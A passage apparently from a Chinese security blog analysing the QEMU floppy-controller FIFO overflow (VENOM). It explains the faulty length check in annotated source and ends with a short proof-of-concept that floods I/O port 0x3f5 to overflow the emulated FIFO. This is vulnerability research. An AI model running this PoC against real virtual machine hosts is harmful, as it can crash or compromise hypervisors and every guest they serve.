if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
/* Command parameters done - 参数处理完成 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
/* bit6=1: 需要返回结果 */
fdctrl->fifo[0] = fdctrl->fifo[1];
fdctrl->fifo[2] = 0;
fdctrl->fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4); /* 正常:重置data_pos=0,设置DIO标志 */
} else {
/* bit6=0: 不需要返回结果 */
fdctrl_reset_fifo(fdctrl); /* 正常:重置data_pos=0 */
}
} else if (fdctrl->data_len > 7) {
/* ERROR - 数据长度错误 */
/* 漏洞:data_len=6,这个条件永远不会满足! */
fdctrl->fifo[0] = 0x80 |
(cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1); /* 永远不会执行到这里 */
}
}
溢出
// fdctrl_write_data
fdctrl->fifo[fdctrl->data_pos++] = value;
EXP
#include <sys/io.h>
#include <stdio.h>
#define FIFO 0x3f5
intmain(){
int i;
iopl(3);
outb(0x08e,0x3f5);
for(i = 0;i < 10000000;i++)
outb(0x42,0x3f5);
return 0;
}
参考文章:https://www.secpulse.com/archives/6602.html
看雪ID:Elenia
https://bbs.kanxue.com/user-home-994584.htm
# 往期推荐
Hyper-V平台IUM进程调试工具及通用TPM漏洞CVE-2025-2884分析与复现
球分享
球点赞
球在看
点击阅读原文查看更多

